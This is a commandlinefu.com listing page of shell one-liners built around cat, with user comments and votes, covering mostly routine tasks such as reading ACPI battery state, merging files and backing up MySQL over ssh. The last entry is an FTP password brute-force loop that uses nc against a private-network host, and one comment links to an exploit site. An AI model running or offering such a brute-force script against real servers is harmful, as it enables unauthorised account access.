Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands using cat from sorted by
Terminal - Commands using cat - 424 results
cat | bash
2010-08-18 13:47:46
User: glaudiston
Functions: cat
5

Sometimes you don't want to leave history, because of passwords use or somethink like.

I think it help.

cls(){ printf "\033c";} or, if no printf, cat > c ;<ctrl+v> <ctrl+[>c <enter><ctrl-d> c(){ cat c;} #usage: c
cat $(ls -c | grep ogg | tac ) > directory/test.ogg
tee >(cat - >&2)
2010-07-20 17:22:31
User: camocrazed
Functions: cat tee
5

the tee command does fine with file names, but not so much with file descriptors, such as &2 (stderr). This uses process redirection to tee to the specified descriptor.

In the sample output, it's being used to tee to stderr, which is connected with the terminal, and to wc -l, which is also outputting to the terminal. The result is the output of bash --version followed by the linecount

cat /proc/acpi/thermal_zone/THRM/temperature
2010-07-11 16:07:07
User: gunslinger_
Functions: cat
Tags: temperature
3

Displaying system temperature your system .

shellcode version @ http://inj3ct0r.com/exploits/12554

cat file_with_tabs.txt | perl -pe 's/\t/ /g'
2010-07-11 13:01:22
User: nikc
Functions: cat perl
Tags: cat perl replace
-3

Replaces tabs in output with spaces. Uses perl since sed seems to work differently across platforms.

cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
2010-07-05 06:39:20
User: cp
Functions: awk cat head sort tr
11

using

cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | sort -S16M | uniq -c |sort -nr | cat -n | head -n 30

("sort -S1G" - Linux/GNU sort only) will also do the job but as some drawbacks (caused by space/time complexity of sorting) for bigger files...

cat my.ps | nc -q 1 hp4550.mynet.xx 9100
find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec cat {} \;
2010-06-19 08:35:12
User: recursiverse
Functions: cat find zcat
0

This command allows you to stream your log files, including gziped files, into one stream which can be piped to awk or some other command for analysis.

Note: if your version of 'find' supports it, use:

find /var/log/apache2 -name 'access.log*gz' -exec zcat {} + -or -name 'access.log*' -exec cat {} +
cat /proc/acpi/battery/*/state
cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg
cat /proc/acpi/battery/BAT0/state
cat /proc/acpi/ac_adapter/AC0/state
cat /proc/acpi/ac_adapter/ACAD/state
cat > {filename} {your text} [^C | ^D]
mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'
2010-05-29 23:06:04
User: esplinter
Functions: cat ssh
9

backup big mysql db to remote machine over ssh. "--skip-opt" option is needed when you can?t allocate full database in ram.

while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [ $i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done
2010-05-28 16:07:56
User: dave1010
Functions: cat cut expr head tput
1

Same as original, but works in bash

while :; do integer i=0; COL=$((RANDOM%$(tput cols))); ROW=$((RANDOM%$(tput cols))); while (( i <= COL)) do tput cup $i $ROW; echo "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null; i=$(expr $i + 1); done done
cat > <file_name> << "EOF"
2010-05-27 12:06:30
User: sphere64
Functions: cat
7

1. Issue command

2. After angled bracket appears, enter file contents

3. When done, type "EOF"

cat /etc/*release
2010-05-26 11:58:34
User: dog
Functions: cat
9

Works on nearly all linux distros

cat file | sed -n -r '/^100$|^[0-9]{1,2}$/p'
2010-05-15 19:15:56
User: voyeg3r
Functions: cat file sed
-1

-r to use extended regex

^ begin line

| alternative

get 100 or 0-9 one or two times

cat 1.tar.gz 2.tar.gz | tar zxvif -
2010-05-09 03:50:00
Functions: cat tar
-1

You don't need to create an intermediate file, just pipe the output directly to tar command and use stin as file (put a dash after the f flag).

echo 'Host or User@Host?:'; read newserver && ssh-keygen -N "" -t rsa -f ~/.ssh/id_rsa ; ssh $newserver cat <~/.ssh/id_rsa.pub ">>" ~/.ssh/authorized_keys ; ssh $newserver
2010-05-07 06:24:53
User: alf
Functions: cat echo read ssh ssh-keygen
Tags: ssh ssh-keygen
-2

Some servers don't have ssh-copy-id, this works in those cases.

It will ask for the destination server, this can be IP, hostname, or user@hostname if different from current user.

Ssh keygen will let you know if a pubkey already exists on your system and you can opt to not overwrite it.

cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done